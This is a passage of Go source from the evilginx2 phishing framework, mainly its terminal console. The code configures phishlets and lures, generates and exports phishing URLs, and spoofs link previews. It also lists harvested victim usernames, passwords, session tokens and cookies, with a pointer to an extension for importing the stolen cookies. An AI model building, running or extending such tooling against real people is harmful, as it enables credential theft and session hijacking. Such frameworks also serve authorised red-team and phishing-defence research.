	clr := color.New(color.FgHiBlack)
	var table string
	for i := range keys {
		table += clr.Sprintf(" %s", keys[i]) + fmt.Sprintf("\n   %s\n", vals[i])
	}
	return table
}


================================================
FILE: core/terminal.go
================================================
package core

import (
	"bufio"
	"crypto/rc4"
	"encoding/base64"
	"encoding/csv"
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"math/rand"
	"net/url"
	"os"
	"path/filepath"
	"regexp"
	"sort"
	"strconv"
	"strings"
	"time"

	"github.com/kgretzky/evilginx2/database"
	"github.com/kgretzky/evilginx2/log"
	"github.com/kgretzky/evilginx2/parser"

	"github.com/chzyer/readline"
	"github.com/fatih/color"
)

const (
	DEFAULT_PROMPT = ": "
	LAYER_TOP      = 1
)

type Terminal struct {
	rl        *readline.Instance
	completer *readline.PrefixCompleter
	cfg       *Config
	crt_db    *CertDb
	p         *HttpProxy
	db        *database.Database
	hlp       *Help
	developer bool
}

func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
	var err error
	t := &Terminal{
		cfg:       cfg,
		crt_db:    crt_db,
		p:         p,
		db:        db,
		developer: developer,
	}

	t.createHelp()
	t.completer = t.hlp.GetPrefixCompleter(LAYER_TOP)

	t.rl, err = readline.NewEx(&readline.Config{
		Prompt:              DEFAULT_PROMPT,
		AutoComplete:        t.completer,
		InterruptPrompt:     "^C",
		EOFPrompt:           "exit",
		FuncFilterInputRune: t.filterInput,
	})
	if err != nil {
		return nil, err
	}
	return t, nil
}

func (t *Terminal) Close() {
	t.rl.Close()
}

func (t *Terminal) output(s string, args ...interface{}) {
	out := fmt.Sprintf(s, args...)
	fmt.Fprintf(color.Output, "\n%s\n", out)
}

func (t *Terminal) DoWork() {
	var do_quit = false

	t.checkStatus()
	log.SetReadline(t.rl)

	t.cfg.refreshActiveHostnames()
	t.manageCertificates(true)

	t.output("%s", t.sprintPhishletStatus(""))
	go t.monitorLurePause()

	for !do_quit {
		line, err := t.rl.Readline()
		if err == readline.ErrInterrupt {
			log.Info("type 'exit' in order to quit")
			continue
		} else if err == io.EOF {
			break
		}

		line = strings.TrimSpace(line)

		args, err := parser.Parse(line)
		if err != nil {
			log.Error("syntax error: %v", err)
		}

		argn := len(args)
		if argn == 0 {
			t.checkStatus()
			continue
		}

		cmd_ok := false
		switch args[0] {
		case "clear":
			cmd_ok = true
			readline.ClearScreen(color.Output)
		case "config":
			cmd_ok = true
			err := t.handleConfig(args[1:])
			if err != nil {
				log.Error("config: %v", err)
			}
		case "proxy":
			cmd_ok = true
			err := t.handleProxy(args[1:])
			if err != nil {
				log.Error("proxy: %v", err)
			}
		case "sessions":
			cmd_ok = true
			err := t.handleSessions(args[1:])
			if err != nil {
				log.Error("sessions: %v", err)
			}
		case "phishlets":
			cmd_ok = true
			err := t.handlePhishlets(args[1:])
			if err != nil {
				log.Error("phishlets: %v", err)
			}
		case "lures":
			cmd_ok = true
			err := t.handleLures(args[1:])
			if err != nil {
				log.Error("lures: %v", err)
			}
		case "blacklist":
			cmd_ok = true
			err := t.handleBlacklist(args[1:])
			if err != nil {
				log.Error("blacklist: %v", err)
			}
		case "test-certs":
			cmd_ok = true
			t.manageCertificates(true)
		case "help":
			cmd_ok = true
			if len(args) == 2 {
				if err := t.hlp.PrintBrief(args[1]); err != nil {
					log.Error("help: %v", err)
				}
			} else {
				t.hlp.Print(0)
			}
		case "q", "quit", "exit":
			do_quit = true
			cmd_ok = true
		default:
			log.Error("unknown command: %s", args[0])
			cmd_ok = true
		}
		if !cmd_ok {
			log.Error("invalid syntax: %s", line)
		}
		t.checkStatus()
	}
}

func (t *Terminal) handleConfig(args []string) error {
	pn := len(args)
	if pn == 0 {
		autocertOnOff := "off"
		if t.cfg.IsAutocertEnabled() {
			autocertOnOff = "on"
		}

		gophishInsecure := "false"
		if t.cfg.GetGoPhishInsecureTLS() {
			gophishInsecure = "true"
		}

		keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
		vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
		log.Printf("\n%s\n", AsRows(keys, vals))
		return nil
	} else if pn == 2 {
		switch args[0] {
		case "domain":
			t.cfg.SetBaseDomain(args[1])
			t.cfg.ResetAllSites()
			t.manageCertificates(false)
			return nil
		case "ipv4":
			t.cfg.SetServerExternalIP(args[1])
			return nil
		case "unauth_url":
			if len(args[1]) > 0 {
				_, err := url.ParseRequestURI(args[1])
				if err != nil {
					return err
				}
			}
			t.cfg.SetUnauthUrl(args[1])
			return nil
		case "autocert":
			switch args[1] {
			case "on":
				t.cfg.EnableAutocert(true)
				t.manageCertificates(true)
				return nil
			case "off":
				t.cfg.EnableAutocert(false)
				t.manageCertificates(true)
				return nil
			}
		case "gophish":
			switch args[1] {
			case "test":
				t.p.gophish.Setup(t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), t.cfg.GetGoPhishInsecureTLS())
				err := t.p.gophish.Test()
				if err != nil {
					log.Error("gophish: %s", err)
				} else {
					log.Success("gophish: connection successful")
				}
				return nil
			}
		}
	} else if pn == 3 {
		switch args[0] {
		case "ipv4":
			switch args[1] {
			case "external":
				t.cfg.SetServerExternalIP(args[2])
				return nil
			case "bind":
				t.cfg.SetServerBindIP(args[2])
				return nil
			}
		case "gophish":
			switch args[1] {
			case "admin_url":
				t.cfg.SetGoPhishAdminUrl(args[2])
				return nil
			case "api_key":
				t.cfg.SetGoPhishApiKey(args[2])
				return nil
			case "insecure":
				switch args[2] {
				case "true":
					t.cfg.SetGoPhishInsecureTLS(true)
					return nil
				case "false":
					t.cfg.SetGoPhishInsecureTLS(false)
					return nil
				}
			}
		}
	}
	return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) handleBlacklist(args []string) error {
	pn := len(args)
	if pn == 0 {
		mode := t.cfg.GetBlacklistMode()
		ip_num, mask_num := t.p.bl.GetStats()
		log.Info("blacklist mode set to: %s", mode)
		log.Info("blacklist: loaded %d ip addresses and %d ip masks", ip_num, mask_num)

		return nil
	} else if pn == 1 {
		switch args[0] {
		case "all":
			t.cfg.SetBlacklistMode(args[0])
			return nil
		case "unauth":
			t.cfg.SetBlacklistMode(args[0])
			return nil
		case "noadd":
			t.cfg.SetBlacklistMode(args[0])
			return nil
		case "off":
			t.cfg.SetBlacklistMode(args[0])
			return nil
		}
	} else if pn == 2 {
		switch args[0] {
		case "log":
			switch args[1] {
			case "on":
				t.p.bl.SetVerbose(true)
				log.Info("blacklist log output: enabled")
				return nil
			case "off":
				t.p.bl.SetVerbose(false)
				log.Info("blacklist log output: disabled")
				return nil
			}
		}
	}
	return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) handleProxy(args []string) error {
	pn := len(args)
	if pn == 0 {
		var proxy_enabled string = "no"
		if t.cfg.proxyConfig.Enabled {
			proxy_enabled = "yes"
		}

		keys := []string{"enabled", "type", "address", "port", "username", "password"}
		vals := []string{proxy_enabled, t.cfg.proxyConfig.Type, t.cfg.proxyConfig.Address, strconv.Itoa(t.cfg.proxyConfig.Port), t.cfg.proxyConfig.Username, t.cfg.proxyConfig.Password}
		log.Printf("\n%s\n", AsRows(keys, vals))
		return nil
	} else if pn == 1 {
		switch args[0] {
		case "enable":
			err := t.p.setProxy(true, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password)
			if err != nil {
				return err
			}
			t.cfg.EnableProxy(true)
			log.Important("you need to restart evilginx for the changes to take effect!")
			return nil
		case "disable":
			err := t.p.setProxy(false, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password)
			if err != nil {
				return err
			}
			t.cfg.EnableProxy(false)
			return nil
		}
	} else if pn == 2 {
		switch args[0] {
		case "type":
			if t.cfg.proxyConfig.Enabled {
				return fmt.Errorf("please disable the proxy before making changes to its configuration")
			}
			t.cfg.SetProxyType(args[1])
			return nil
		case "address":
			if t.cfg.proxyConfig.Enabled {
				return fmt.Errorf("please disable the proxy before making changes to its configuration")
			}
			t.cfg.SetProxyAddress(args[1])
			return nil
		case "port":
			if t.cfg.proxyConfig.Enabled {
				return fmt.Errorf("please disable the proxy before making changes to its configuration")
			}
			port, err := strconv.Atoi(args[1])
			if err != nil {
				return err
			}
			t.cfg.SetProxyPort(port)
			return nil
		case "username":
			if t.cfg.proxyConfig.Enabled {
				return fmt.Errorf("please disable the proxy before making changes to its configuration")
			}
			t.cfg.SetProxyUsername(args[1])
			return nil
		case "password":
			if t.cfg.proxyConfig.Enabled {
				return fmt.Errorf("please disable the proxy before making changes to its configuration")
			}
			t.cfg.SetProxyPassword(args[1])
			return nil
		}
	}
	return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) handleSessions(args []string) error {
	lblue := color.New(color.FgHiBlue)
	dgray := color.New(color.FgHiBlack)
	lgreen := color.New(color.FgHiGreen)
	yellow := color.New(color.FgYellow)
	lyellow := color.New(color.FgHiYellow)
	lred := color.New(color.FgHiRed)
	cyan := color.New(color.FgCyan)
	white := color.New(color.FgHiWhite)

	pn := len(args)
	if pn == 0 {
		cols := []string{"id", "phishlet", "username", "password", "tokens", "remote ip", "time"}
		sessions, err := t.db.ListSessions()
		if err != nil {
			return err
		}
		if len(sessions) == 0 {
			log.Info("no saved sessions found")
			return nil
		}
		var rows [][]string
		for _, s := range sessions {
			tcol := dgray.Sprintf("none")
			if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
				tcol = lgreen.Sprintf("captured")
			}
			row := []string{strconv.Itoa(s.Id), lred.Sprintf(s.Phishlet), lblue.Sprintf(truncateString(s.Username, 24)), lblue.Sprintf(truncateString(s.Password, 24)), tcol, yellow.Sprintf(s.RemoteAddr), time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04")}
			rows = append(rows, row)
		}
		log.Printf("\n%s\n", AsTable(cols, rows))
		return nil
	} else if pn == 1 {
		id, err := strconv.Atoi(args[0])
		if err != nil {
			return err
		}
		sessions, err := t.db.ListSessions()
		if err != nil {
			return err
		}
		if len(sessions) == 0 {
			log.Info("no saved sessions found")
			return nil
		}
		s_found := false
		for _, s := range sessions {
			if s.Id == id {
				_, err := t.cfg.GetPhishlet(s.Phishlet)
				if err != nil {
					log.Error("%v", err)
					break
				}

				s_found = true
				tcol := dgray.Sprintf("empty")
				if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
					tcol = lgreen.Sprintf("captured")
				}

				keys := []string{"id", "phishlet", "username", "password", "tokens", "landing url", "user-agent", "remote ip", "create time", "update time"}
				vals := []string{strconv.Itoa(s.Id), lred.Sprint(s.Phishlet), lblue.Sprint(s.Username), lblue.Sprint(s.Password), tcol, yellow.Sprint(s.LandingURL), dgray.Sprint(s.UserAgent), yellow.Sprint(s.RemoteAddr), dgray.Sprint(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprint(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))}
				log.Printf("\n%s\n", AsRows(keys, vals))

				if len(s.Custom) > 0 {
					tkeys := []string{}
					tvals := []string{}

					for k, v := range s.Custom {
						tkeys = append(tkeys, k)
						tvals = append(tvals, cyan.Sprint(v))
					}

					log.Printf("[ %s ]\n%s\n", white.Sprint("custom"), AsRows(tkeys, tvals))
				}

				if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
					if len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
						//var str_tokens string

						tkeys := []string{}
						tvals := []string{}

						for k, v := range s.BodyTokens {
							tkeys = append(tkeys, k)
							tvals = append(tvals, white.Sprint(v))
						}
						for k, v := range s.HttpTokens {
							tkeys = append(tkeys, k)
							tvals = append(tvals, white.Sprint(v))
						}

						log.Printf("[ %s ]\n%s\n", lgreen.Sprint("tokens"), AsRows(tkeys, tvals))
					}
					if len(s.CookieTokens) > 0 {
						json_tokens := t.cookieTokensToJSON(s.CookieTokens)
						log.Printf("[ %s ]\n%s\n\n", lyellow.Sprint("cookies"), json_tokens)
						log.Printf("%s %s %s %s%s\n\n", dgray.Sprint("(use"), cyan.Sprint("StorageAce"), dgray.Sprint("extension to import the cookies:"), white.Sprint("https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo"), dgray.Sprint(")"))
					}
				}
				break
			}
		}
		if !s_found {
			return fmt.Errorf("id %d not found", id)
		}
		return nil
	} else if pn == 2 {
		switch args[0] {
		case "delete":
			if args[1] == "all" {
				sessions, err := t.db.ListSessions()
				if err != nil {
					return err
				}
				if len(sessions) == 0 {
					break
				}
				for _, s := range sessions {
					err = t.db.DeleteSessionById(s.Id)
					if err != nil {
						log.Warning("delete: %v", err)
					} else {
						log.Info("deleted session with ID: %d", s.Id)
					}
				}
				t.db.Flush()
				return nil
			} else {
				rc := strings.Split(args[1], ",")
				for _, pc := range rc {
					pc = strings.TrimSpace(pc)
					rd := strings.Split(pc, "-")
					if len(rd) == 2 {
						b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
						if err != nil {
							log.Error("delete: %v", err)
							break
						}
						e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
						if err != nil {
							log.Error("delete: %v", err)
							break
						}
						for i := b_id; i <= e_id; i++ {
							err = t.db.DeleteSessionById(i)
							if err != nil {
								log.Warning("delete: %v", err)
							} else {
								log.Info("deleted session with ID: %d", i)
							}
						}
					} else if len(rd) == 1 {
						b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
						if err != nil {
							log.Error("delete: %v", err)
							break
						}
						err = t.db.DeleteSessionById(b_id)
						if err != nil {
							log.Warning("delete: %v", err)
						} else {
							log.Info("deleted session with ID: %d", b_id)
						}
					}
				}
				t.db.Flush()
				return nil
			}
		}
	}
	return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) handlePhishlets(args []string) error {
	pn := len(args)

	if pn >= 3 && args[0] == "create" {
		pl, err := t.cfg.GetPhishlet(args[1])
		if err == nil {
			params := make(map[string]string)

			var create_ok bool = true
			if pl.isTemplate {
				for n := 3; n < pn; n++ {
					val := args[n]

					sp := strings.Index(val, "=")
					if sp == -1 {
						return fmt.Errorf("set custom parameters for the child phishlet using format 'param1=value1 param2=value2'")
					}
					k := val[:sp]
					v := val[sp+1:]

					params[k] = v

					log.Info("adding parameter: %s='%s'", k, v)
				}
			}

			if create_ok {
				child_name := args[1] + ":" + args[2]
				err := t.cfg.AddSubPhishlet(child_name, args[1], params)
				if err != nil {
					log.Error("%v", err)
				} else {
					t.cfg.SaveSubPhishlets()
					log.Info("created child phishlet: %s", child_name)
				}
			}
			return nil
		} else {
			log.Error("%v", err)
		}
	} else if pn == 0 {
		t.output("%s", t.sprintPhishletStatus(""))
		return nil
	} else if pn == 1 {
		_, err := t.cfg.GetPhishlet(args[0])
		if err == nil {
			t.output("%s", t.sprintPhishletStatus(args[0]))
			return nil
		}
	} else if pn == 2 {
		switch args[0] {
		case "delete":
			err := t.cfg.DeleteSubPhishlet(args[1])
			if err != nil {
				log.Error("%v", err)
				return nil
			}
			t.cfg.SaveSubPhishlets()
			log.Info("deleted child phishlet: %s", args[1])
			return nil
		case "enable":
			pl, err := t.cfg.GetPhishlet(args[1])
			if err != nil {
				log.Error("%v", err)
				break
			}
			if pl.isTemplate {
				return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", args[1])
			}
			err = t.cfg.SetSiteEnabled(args[1])
			if err != nil {
				t.cfg.SetSiteDisabled(args[1])
				return err
			}
			t.manageCertificates(true)
			return nil
		case "disable":
			err := t.cfg.SetSiteDisabled(args[1])
			if err != nil {
				return err
			}
			t.manageCertificates(false)
			return nil
		case "hide":
			err := t.cfg.SetSiteHidden(args[1], true)
			if err != nil {
				return err
			}
			return nil
		case "unhide":
			err := t.cfg.SetSiteHidden(args[1], false)
			if err != nil {
				return err
			}
			return nil
		case "get-hosts":
			pl, err := t.cfg.GetPhishlet(args[1])
			if err != nil {
				return err
			}
			bhost, ok := t.cfg.GetSiteDomain(pl.Name)
			if !ok || len(bhost) == 0 {
				return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
			}
			out := ""
			hosts := pl.GetPhishHosts(false)
			for n, h := range hosts {
				if n > 0 {
					out += "\n"
				}
				out += t.cfg.GetServerExternalIP() + " " + h
			}
			t.output("%s\n", out)
			return nil
		}
	} else if pn == 3 {
		switch args[0] {
		case "hostname":
			_, err := t.cfg.GetPhishlet(args[1])
			if err != nil {
				return err
			}
			if ok := t.cfg.SetSiteHostname(args[1], args[2]); ok {
				t.cfg.SetSiteDisabled(args[1])
				t.manageCertificates(false)
			}
			return nil
		case "unauth_url":
			_, err := t.cfg.GetPhishlet(args[1])
			if err != nil {
				return err
			}
			t.cfg.SetSiteUnauthUrl(args[1], args[2])
			return nil
		}
	}
	return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) handleLures(args []string) error {
	hiblue := color.New(color.FgHiBlue)
	yellow := color.New(color.FgYellow)
	higreen := color.New(color.FgHiGreen)
	green := color.New(color.FgGreen)
	//hiwhite := color.New(color.FgHiWhite)
	hcyan := color.New(color.FgHiCyan)
	cyan := color.New(color.FgCyan)
	dgray := color.New(color.FgHiBlack)
	white := color.New(color.FgHiWhite)

	pn := len(args)

	if pn == 0 {
		// list lures
		t.output("%s", t.sprintLures())
		return nil
	}
	if pn > 0 {
		switch args[0] {
		case "create":
			if pn == 2 {
				_, err := t.cfg.GetPhishlet(args[1])
				if err != nil {
					return err
				}
				l := &Lure{
					Path:     "/" + GenRandomString(8),
					Phishlet: args[1],
				}
				t.cfg.AddLure(args[1], l)
				log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
				return nil
			}
			return fmt.Errorf("incorrect number of arguments")
		case "get-url":
			if pn >= 2 {
				l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
				if err != nil {
					return fmt.Errorf("get-url: %v", err)
				}
				l, err := t.cfg.GetLure(l_id)
				if err != nil {
					return fmt.Errorf("get-url: %v", err)
				}
				pl, err := t.cfg.GetPhishlet(l.Phishlet)
				if err != nil {
					return fmt.Errorf("get-url: %v", err)
				}
				bhost, ok := t.cfg.GetSiteDomain(pl.Name)
				if !ok || len(bhost) == 0 {
					return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
				}

				var base_url string
				if l.Hostname != "" {
					base_url = "https://" + l.Hostname + l.Path
				} else {
					purl, err := pl.GetLureUrl(l.Path)
					if err != nil {
						return err
					}
					base_url = purl
				}

				var phish_urls []string
				var phish_params []map[string]string
				var out string

				params := url.Values{}
				if pn > 2 {
					if args[2] == "import" {
						if pn < 4 {
							return fmt.Errorf("get-url: no import path specified")
						}
						params_file := args[3]

						phish_urls, phish_params, err = t.importParamsFromFile(base_url, params_file)
						if err != nil {
							return fmt.Errorf("get_url: %v", err)
						}

						if pn >= 5 {
							if args[4] == "export" {
								if pn == 5 {
									return fmt.Errorf("get-url: no export path specified")
								}
								export_path := args[5]

								format := "text"
								if pn == 7 {
									format = args[6]
								}

								err = t.exportPhishUrls(export_path, phish_urls, phish_params, format)
								if err != nil {
									return fmt.Errorf("get-url: %v", err)
								}
								out = hiblue.Sprintf("exported %d phishing urls to file: %s\n", len(phish_urls), export_path)
								phish_urls = []string{}
							} else {
								return fmt.Errorf("get-url: expected 'export': %s", args[4])
							}
						}

					} else {
						// params present
						for n := 2; n < pn; n++ {
							val := args[n]

							sp := strings.Index(val, "=")
							if sp == -1 {
								return fmt.Errorf("to set custom parameters for the phishing url, use format 'param1=value1 param2=value2'")
							}
							k := val[:sp]
							v := val[sp+1:]

							params.Add(k, v)

							log.Info("adding parameter: %s='%s'", k, v)
						}
						phish_urls = append(phish_urls, t.createPhishUrl(base_url, &params))
					}
				} else {
					phish_urls = append(phish_urls, t.createPhishUrl(base_url, &params))
				}

				for n, phish_url := range phish_urls {
					out += hiblue.Sprint(phish_url)

					var params_row string
					var params string
					if len(phish_params) > 0 {
						params_row := phish_params[n]
						m := 0
						for k, v := range params_row {
							if m > 0 {
								params += " "
							}
							params += fmt.Sprintf("%s=\"%s\"", k, v)
							m += 1
						}
					}

					if len(params_row) > 0 {
						out += " ; " + params
					}
					out += "\n"
				}

				t.output("%s", out)
				return nil
			}
			return fmt.Errorf("incorrect number of arguments")
		case "pause":
			if pn == 3 {
				l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
				if err != nil {
					return fmt.Errorf("pause: %v", err)
				}
				l, err := t.cfg.GetLure(l_id)
				if err != nil {
					return fmt.Errorf("pause: %v", err)
				}
				s_duration := args[2]

				t_dur, err := ParseDurationString(s_duration)
				if err != nil {
					return fmt.Errorf("pause: %v", err)
				}
				t_now := time.Now()
				log.Info("current time: %s", t_now.Format("2006-01-02 15:04:05"))
				log.Info("unpauses at:  %s", t_now.Add(t_dur).Format("2006-01-02 15:04:05"))

				l.PausedUntil = t_now.Add(t_dur).Unix()
				err = t.cfg.SetLure(l_id, l)
				if err != nil {
					return fmt.Errorf("edit: %v", err)
				}
				return nil
			}
		case "unpause":
			if pn == 2 {
				l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
				if err != nil {
					return fmt.Errorf("pause: %v", err)
				}
				l, err := t.cfg.GetLure(l_id)
				if err != nil {
					return fmt.Errorf("pause: %v", err)
				}

				log.Info("lure for phishlet '%s' unpaused", l.Phishlet)

				l.PausedUntil = 0
				err = t.cfg.SetLure(l_id, l)
				if err != nil {
					return fmt.Errorf("edit: %v", err)
				}
				return nil
			}
		case "edit":
			if pn == 4 {
				l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
				if err != nil {
					return fmt.Errorf("edit: %v", err)
				}
				l, err := t.cfg.GetLure(l_id)
				if err != nil {
					return fmt.Errorf("edit: %v", err)
				}
				val := args[3]
				do_update := false

				switch args[2] {
				case "hostname":
					if val != "" {
						val = strings.ToLower(val)

						if val != t.cfg.general.Domain && !strings.HasSuffix(val, "."+t.cfg.general.Domain) {
							return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.general.Domain)
						}
						host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`)
						if !host_re.MatchString(val) {
							return fmt.Errorf("edit: invalid hostname")
						}

						l.Hostname = val
						t.cfg.refreshActiveHostnames()
						t.manageCertificates(true)
					} else {
						l.Hostname = ""
					}
					do_update = true
					log.Info("hostname = '%s'", l.Hostname)
				case "path":
					if val != "" {
						u, err := url.Parse(val)
						if err != nil {
							return fmt.Errorf("edit: %v", err)
						}
						l.Path = u.EscapedPath()
						if len(l.Path) == 0 || l.Path[0] != '/' {
							l.Path = "/" + l.Path
						}
					} else {
						l.Path = "/"
					}
					do_update = true
					log.Info("path = '%s'", l.Path)
				case "redirect_url":
					if val != "" {
						u, err := url.Parse(val)
						if err != nil {
							return fmt.Errorf("edit: %v", err)
						}
						if !u.IsAbs() {
							return fmt.Errorf("edit: redirect url must be absolute")
						}
						l.RedirectUrl = u.String()
					} else {
						l.RedirectUrl = ""
					}
					do_update = true
					log.Info("redirect_url = '%s'", l.RedirectUrl)
				case "phishlet":
					_, err := t.cfg.GetPhishlet(val)
					if err != nil {
						return fmt.Errorf("edit: %v", err)
					}
					l.Phishlet = val
					do_update = true
					log.Info("phishlet = '%s'", l.Phishlet)
				case "info":
					l.Info = val
					do_update = true
					log.Info("info = '%s'", l.Info)
				case "og_title":
					l.OgTitle = val
					do_update = true
					log.Info("og_title = '%s'", l.OgTitle)
				case "og_desc":
					l.OgDescription = val
					do_update = true
					log.Info("og_desc = '%s'", l.OgDescription)
				case "og_image":
					if val != "" {
						u, err := url.Parse(val)
						if err != nil {
							return fmt.Errorf("edit: %v", err)
						}
						if !u.IsAbs() {
							return fmt.Errorf("edit: image url must be absolute")
						}
						l.OgImageUrl = u.String()
					} else {
						l.OgImageUrl = ""
					}
					do_update = true
					log.Info("og_image = '%s'", l.OgImageUrl)
				case "og_url":
					if val != "" {
						u, err := url.Parse(val)
						if err != nil {
							return fmt.Errorf("edit: %v", err)
						}
						if !u.IsAbs() {
							return fmt.Errorf("edit: site url must be absolute")
						}
						l.OgUrl = u.String()
					} else {
						l.OgUrl = ""
					}
					do_update = true
					log.Info("og_url = '%s'", l.OgUrl)
				case "redirector":
					if val != "" {
						path := val
						if !filepath.IsAbs(val) {
							redirectors_dir := t.cfg.GetRedirectorsDir()
							path = filepath.Join(redirectors_dir, val)
						}

						if _, err := os.Stat(path); !os.IsNotExist(err) {
							l.Redirector = val
						} else {
							return fmt.Errorf("edit: redirector directory does not exist: %s", path)
						}
					} else {
						l.Redirector = ""
					}
					do_update = true
					log.Info("redirector = '%s'", l.Redirector)
				case "ua_filter":
					if val != "" {
						if _, err := regexp.Compile(val); err != nil {
							return err
						}

						l.UserAgentFilter = val
					} else {
						l.UserAgentFilter = ""
					}
					do_update = true
					log.Info("ua_filter = '%s'", l.UserAgentFilter)
				}
				if do_update {
					err := t.cfg.SetLure(l_id, l)
					if err != nil {
						return fmt.Errorf("edit: %v", err)
					}
					return nil
				}
			} else {
				return fmt.Errorf("incorrect number of arguments")
			}
		case "delete":
			if pn == 2 {
				if len(t.cfg.lures) == 0 {
					break
				}
				if args[1] == "all" {
					di := []int{}
					for n := range t.cfg.lures {
						di = append(di, n)
					}
					if len(di) > 0 {
						rdi := t.cfg.DeleteLures(di)
						for _, id := range rdi {
							log.Info("deleted lure with ID: %d", id)
						}
					}
					return nil
				} else {
					rc := strings.Split(args[1], ",")
					di := []int{}
					for _, pc := range rc {
						pc = strings.TrimSpace(pc)
						rd := strings.Split(pc, "-")
						if len(rd) == 2 {
							b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
							if err != nil {
								return fmt.Errorf("delete: %v", err)
							}
							e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
							if err != nil {
								return fmt.Errorf("delete: %v", err)
							}
							for i := b_id; i <= e_id; i++ {
								di = append(di, i)
							}
						} else if len(rd) == 1 {
							b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
							if err != nil {
								return fmt.Errorf("delete: %v", err)
							}
							di = append(di, b_id)
						}
					}
					if len(di) > 0 {
						rdi := t.cfg.DeleteLures(di)
						for _, id := range rdi {
							log.Info("deleted lure with ID: %d", id)
						}
					}
					return nil
				}
			}
			return fmt.Errorf("incorrect number of arguments")
		default:
			id, err := strconv.Atoi(args[0])
			if err != nil {
				return err
			}
			l, err := t.cfg.GetLure(id)
			if err != nil {
				return err
			}

			var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))

			keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "paused", "info", "og_title", "og_desc", "og_image", "og_url"}
			vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), s_paused, l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
			log.Printf("\n%s\n", AsRows(keys, vals))

			return nil
		}
	}

	return fmt.Errorf("invalid syntax: %s", args)
}

func (t *Terminal) monitorLurePause() {
	var pausedLures map[string]int64
	pausedLures = make(map[string]int64)

	for {
		t_cur := time.Now()

		for n, l := range t.cfg.lures {
			if l.PausedUntil > 0 {
				l_id := t.cfg.lureIds[n]
				t_pause := time.Unix(l.PausedUntil, 0)
				if t_pause.After(t_cur) {
					pausedLures[l_id] = l.PausedUntil
				} else {
					if _, ok := pausedLures[l_id]; ok {
						log.Info("[%s] lure (%d) is now active", l.Phishlet, n)
					}
					pausedLures[l_id] = 0
					l.PausedUntil = 0
				}
			}
		}

		time.Sleep(500 * time.Millisecond)
	}
}

func (t *Terminal) createHelp() {
	h, _ := NewHelp()
	h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
		readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off")),
			readline.PcItem("gophish", readline.PcItem("admin_url"), readline.PcItem("api_key"), readline.PcItem("insecure", readline.PcItem("true"), readline.PcItem("false")), readline.PcItem("test"))))
	h.AddSubCommand("config", nil, "", "show all configuration variables")
	h.AddSubCommand("config", []string{"domain"}, "domain <domain>", "set base domain for all phishlets (e.g. evilsite.com)")
	h.AddSubCommand("config", []string{"ipv4"}, "ipv4 <ipv4_address>", "set ipv4 external address of the current server")
	h.AddSubCommand("config", []string{"ipv4", "external"}, "ipv4 external <ipv4_address>", "set ipv4 external address of the current server")
	h.AddSubCommand("config", []string{"ipv4", "bind"}, "ipv4 bind <ipv4_address>", "set ipv4 bind address of the current server")
